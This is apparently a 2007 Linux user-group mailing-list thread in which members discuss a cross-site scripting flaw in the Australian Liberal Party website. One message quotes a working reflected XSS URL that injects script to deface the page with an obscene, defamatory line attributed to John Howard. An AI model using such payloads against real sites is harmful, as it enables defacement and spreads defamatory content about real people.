[plug] Liberal Party website

[Craig Foster]

> -----Original Message-----
> From: plug-bounces at plug.org.au [mailto:plug-bounces at plug.org.au] On
> Behalf Of Michael Baker
> Sent: Tuesday, 9 October 2007 10:03 PM
> To: plug at plug.org.au
> Subject: Re: [plug] Liberal Party website
> 
> Our XSS friends :P (Cross site scripting url input is not validated)
> David Buddrige wrote:
> > looks like a cracked website to me. 8-)
> >
> > On Tue, 2007-10-09 at 20:55 +0800, Michael Baker wrote:
> >>
> www.liberal.org.au/?action=wos.cfm%00%22%3E%3Cscript%3Edocument.all.mid
> dletext.innerHTML%3D%22%3Ccenter%3E%3Ch1%3EJohn%20Howard%20says:%3C/h1%
> 3E%3Ci%3E%5C%22I%20like%20to%20suck%20dick!%5C%22%3C/i%3E%3C/center%3E%
> 22%3C%2Fscript%3E
> >
> > ---------------------------------------------------------------------


I was wondering what all the fuss was about... (I run FF & NoScript :P )

CraigF.